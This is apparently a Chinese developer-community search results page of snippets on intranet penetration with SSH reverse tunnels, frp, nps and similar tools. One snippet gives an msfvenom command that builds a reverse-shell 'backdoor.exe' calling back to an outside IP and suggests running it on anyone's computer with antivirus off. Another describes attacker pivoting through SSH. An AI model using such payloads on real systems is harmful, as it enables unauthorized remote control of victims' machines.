首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

【实战技巧】利用ssh将内网端口反向连接穿透外网vps

将内网机器的127.0.0.1的8882端口,通过主动连接外网的122.114.250.153的ssh,映射到外网vps的122.114.250.153的7280端口,实现网络穿透.这样访问122.114.250.153...注意ssh只能够将内网的端口转发到外网,不能够动态的自动内网代理.如果你需要通过互联网代理直接穿透到内网,一般来说有两个方法: 如果你可以在内网的机器上创建一个透明代理端口且可以内网机器使用ssh: 在内网机器可以建立一个透明代理...如果你不能创建一个代理端口,只可以使用ssh,且知道内网主机的ss用户密码(后面使用的都是root) 先将内网的ssh映射到外网 ssh -fCNR 7280:127.0.0.1:22 root@122.114.250.153...通过ssh主动反向链接外网并将ssh端口映射到122.114.250.153, 这样你链接122.114.250.153的7280就相当于链接到了内网的22(ssh) 客户端主动链接vps的7280(...就可以直接输入地址访问内网中的资源了 注意ssh绑定地址到0.0.0.0 vps一般情况下ssh默认转发只会映射到本地的127.0.0.1的端口.如果你需要映射到0.0.0.0让外网访问.修改配置 /etc

5.3K20

内网接收外网shell(内网穿透

前言: 内网穿透的方式不少,有人会也有人不太懂,最简单的,对新手友好的就是花生壳,但是要钱,对穷人不友好,这里我们就用操作稍微有点麻烦的但是免费的frp。...(这里不讲配置的一些理论理解了,麻烦,大家可以百度内网穿透的理论知识) 我们需要生成一下木马文件 msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp...LHOST=101.43.1.181 LPORT=8000 -f exe -o backdoor.exe -o选择文件名,ip地址选择外网服务器的地址 端口选择8000 下载到桌面 我这里用xshell...windows/meterpreter/reverse_tcp 设置IP和端口 然后我们生成就好,放到任意谁的电脑上,但是要关杀软,因为我们没加免杀,Windows自带的检测也要关闭 运行后成功外网上线

1.4K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    巧用 SSH 打通外网限制

    dmz 服务器可以访问总部外网服务器 22 端口,不可以访问 web 服务器; web 服务器不可访问公网,但是到 dmz 网络无限制。...答案当然是有的,我们来试一试,需要 ssh 工具。 我们在 dmz 执行如下命令。...[root@dmz]#  ssh -f -N -g -R  6606:10.1.1.1:80 root@115.100.100.100 -f:代表后台运行程序 -N:表示使用远程端口转发创建ssh隧道...此过程会使用到 ssh 隧道。dmz 运行之后,总部服务器的已经有了端口监听。...dmz 发起 ssh 连接到总部服务器,并且远程端口转发。远程服务器访问转发端口时,数据将封装到回包通道,由于 ssh 本身加密,外部网络无法知晓网络交互逻辑,从而实现反向访问。

    1.1K20

    ssh配置内网穿透

    上篇文章介绍了通过frp实现内网穿透 https://www.cuiwei.net/p/1427429539 ssh是系统自带的,无需安装就能实现ssh服务的代理 模拟场景 一台公网服务器(Linux...,47.98.227.00) 一台虚拟机(Linux,相当于内网服务器) ssh服务测试:宿主机通过frp访问虚拟机;公网服务器通过frp访问虚拟机 公网服务器 将GatewayPorts改为yes,然后重启...sshd服务 [root@iZbp1430s16l9piu268n8rZ voice]# vi /etc/ssh/sshd_config #GatewayPorts no GatewayPorts yes...[root@iZbp1430s16l9piu268n8rZ voice]# echo '虚拟机的public key'>> ~/.ssh/authorized_keys 如果要实现自动重连,可以了解一下...autossh 测试一下 通过宿主机或其他电脑执行,不出意外就能连到虚拟机了 ssh -p 6999 root@47.98.227.00 提示 端口6999要在公网服务器开放

    66820

    FRP内网穿透单机传奇架设外网

    看着这个标题我我自己都有点懵,大概意思就是用自己家的电脑架设一个传奇服务端,然后用FRP内网穿透可以在外网玩,标题写的有点纠结,就这样吧。...请先准备工具: 1.电脑(能上网的那种); 2.服务器1台(自己玩1M宽带即可,很多人玩就自己看着办); 3.一个支持frp内网穿透的路由器(好像有软件也可以支持,没试过); 4.好像没了(一个脑子༼...∗ •̀ (oo) •́ ∗ ༽) 开始搞事情 先在服务器上面安装frp内网穿透:Frp内网穿透Frp一键安装脚本及设置教程 然后就在路由器设置和服务器没啥太大的关系了。...爱游这里配置了所有端口,就是测试的时候配置的,事实证明并不需要,只需要7000,7100,7200端口 还有就是要在基本设置里面设置成外网的IP地址,不然是不开门的。 ?...下面是在外网访问的效果:(图片大让它加载一会会儿) ?

    4.3K30

    nps内网穿透实现外网访问树莓派

    今天先说一下最重要的问题:如何通过内外穿透外网访问到树莓派上的服务? 从网站建好以后,试过两种内网穿透方式,花生壳、NPS。...NPS服务 后来在网上找到了NPS服务,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。...但nps有个最大的问题就是:需要一台外网能访问到的服务器来架设nps服务。有人说你都有外网的服务器了还要内网穿透干什么呢?...ssh连接 当然我的网站其实是放在外网服务器的,示例的网站只是自己有个域名随便玩的。最主要的用处是能够随时随地通过ssh控制家里的树莓派。...目标ip端口写树莓派的ip:22 之后在外网通过 ssh pi@my.servce.ip -p port 就可以啦 此时此刻你的树莓派也可以做一台服务器啦

    1.6K20

    巧用SSH转发功能深入穿透内网

    简介 ssh能够提供客户端到服务端的加密传输,当http、ftp等协议被防火墙所拦截时,可以考虑使用SSH的端口转发功能,将其它TCP端口的网络数据通过SSH连接来转发。...实验步骤 1.在攻击者kali上执行用攻击者ssh连接跳板机,然后将自己 ssh -qTfnN -D 1080 root@192.168.0.137 -D 1080 -D [bind_address:]...目前支持SOCKS4和SOCKS5协议,ssh会扮演一个SOCKS5服务器。另外只有root用户才能转发原始端口。 ?...参考链接 https://www.chenyudong.com/archives/linux-ssh-port-dynamic-forward.htmlhttps://mp.weixin.qq.com/...(远端)的网络里将内网的端口转发到vps的某个端口上,以达到外网可以访问的目的在这里kali充当我们的vps 实验环境 一台攻击者kali一台跳板机kali一台内网centos ?

    1.7K20

    ssh内网穿透后的socks代理

    本文继续推进上文《三条命令助你完成ssh内网穿透》内容,之前当我们完成内网穿透后,可以通过ssh客户端的ProxyCommand来完成Ansible-playbook的运行。...,如下: 代号 角色 机器位置 地址 账户 ssh 端口 sshd A 中转机器 公网 121.41.218.68 root 服务22穿透后8822 启用 B 客户机器 客户内网 10.155.0.0/...它是上篇文章中介绍的SSH内网穿透端口 这里加上了ServerAliveInterval和ServerAliveCountMax两个参数分别控制连接的心跳和断开。...最后,如果你懒得记ssh端口转发命令的话,你可以尝试下SSH Tunnel这个应用 ? 上面说的三个SSH端口转发模式它都支持,配置也非常的方便。...总结 本文介绍了在实现SSH内网穿透之后,如果利用SSH端口转发实现本地端口访问远端内网服务。另外,有的同学就问了,我用ssh来做访问国外网站是否可行?

    1.5K20

    NPS内网穿透的搭建与演示

    概念 内网穿透:内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透。...就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。 简而言之:在外网访问局域网/内网的地址。...位版本,下载对应的服务端为linux_386_server,对客户端为linux_arm64_client。...比如我们创建一条tcp通道,将外网的33端口,作为访问内网的ssh端口即22端口,就可以上面这样写。...点击新增 这样我们就可以用外网,用ssh连接工具,连接云服务器ip的33端口,进行ssh内网穿透,实现ssh连接内网的服务器。 当然也支持其他常见的协议穿透,具体可以参见nps官方文档。

    4.1K11

    可以实现内网穿透的几款工具

    更加具体的原理性介绍可以看下这篇文档:【技巧】内网穿透工具的原理与开发实战 我了解的内网穿透工具 Ngrok Natapp 小米球 Sunny-Ngrok echosite Ssh、autossh...,同时支持多种系统win、linuxlinux_arm、mac等。具体的使用直接参考官网。...4、Sunny-Ngrok Sunny-Ngrok同样是ngrok二次开发的内网穿透工具,支持http,https协议,同时支持更丰富的系统和语言:linux、win、mac、openwrt、 python...参考教程:EchoSite---让内网穿透变得简单 6、Ssh、autossh ssh 配合autossh工具使用,因为autossh会容错,自动重新启动SSH会话和隧道。...利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。

    8.2K11

    调试利器-SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...要满足以上条件很简单: 对于条件1:购买一台低配 Linux 服务器,推荐国外的 DigitalOcean; 对于条件2:对于 Mac、Linux 开发机是内置了 ssh 客户端的,对于 Windows...使用AutoSSH 只需在本地开发机上安装 AutoSSH ,方法如下: Mac 系统:brew install autossh; Linux 系统:apt-get install autossh; 安装成功后...其它代替方案 除了 SSH 隧道能实现内网穿透外,还有以下常用方法。 frp frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具

    1.8K20

    老司机教你用frp实现内网穿透,让你远在千里之外,尽在掌握之中

    特地去搜索了一些关于内网穿透的东西,发现了GitHub上一个开源的内网穿透工具--- frp,经过短暂的学习之后,终于实现了能够远程ssh和vnc到树莓派。...内网穿透 内网穿透即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点连接通信 准备工作 具有公网IP的vps 树莓派可上外网 frp 项目地址:https://github.com.../fatedier/frp 项目功能:实现内网穿透,原理为端口映射与流量转发 具体功能实现: 远程ssh、 远程vnc、 远程web等等 配置 1.服务器端配置 # 远程以root用户登陆你的vps...# 解压 tar -zxvf frp_0.25.3_linux_amd64.tar.gz # 编辑配置文件 vim frp_0.25.3_linux_amd64/frps.ini ########...: ssh-oPort=6000pi@vps的ip地址 连接vnc:用vnc客户端连接 vps的ip地址:6001

    92820

    调试利器-SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...要满足以上条件很简单: 对于条件1:购买一台低配 Linux 服务器,推荐国外的 DigitalOcean; 对于条件2:对于 Mac、Linux 开发机是内置了 ssh 客户端的,对于 Windows...使用AutoSSH 只需在本地开发机上安装 AutoSSH ,方法如下: Mac 系统:brew install autossh; Linux 系统:apt-get install autossh; 安装成功后...其它代替方案 除了 SSH 隧道能实现内网穿透外,还有以下常用方法。 frp frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具

    2.7K90

    调试利器:SSH隧道

    本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...要满足以上条件很简单: 对于条件1:购买一台低配 Linux 服务器,推荐国外的 DigitalOcean; 对于条件2:对于 Mac、Linux 开发机是内置了 ssh 客户端的,对于 Windows...使用AutoSSH 只需在本地开发机上安装 AutoSSH ,方法如下: Mac 系统:brew install autossh; Linux 系统:apt-get install autossh; 安装成功后...其它代替方案 除了 SSH 隧道能实现内网穿透外,还有以下常用方法。 frp frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具

    4.1K00

    利用反向ssh外网访问内网主机

    前言 最近遇到一个问题,就是过几天我需要离开学校,而且到时候仍然想登陆校园网里的一台服务器进行工作;但是我又没有校园网网关的操作权限,不能做端口映射,也不能搞到校园网内部主机的外网ip,而且学校自己提供的...研究了半天,总算找到了一个比较不错的利用反向ssh(reverse ssh tunnel)进行内网登陆的解决方案。...工作原理 之所以很多转发的方法无法应用在这里,就是因为内网主机对外网其实是不可见的,也就是说外部主机不能用一般的方法访问到内部主机。...那么我们就想了,能不能用内网主机找外网主机,找到之后再把这条内网主机登陆外网的信道转换成外网主机登陆内网的信道呢?...操作步骤 由于我们自己使用的电脑未必有外网ip,因此我们需要一个有固定外网ip的服务器(随便搞个腾讯云阿里云的小机子就行),然后用这台服务器与内网的机子进行通信,我们到时候要先登陆自己的服务器,然后再利用这个服务器去访问内网的主机

    2.7K20
    领券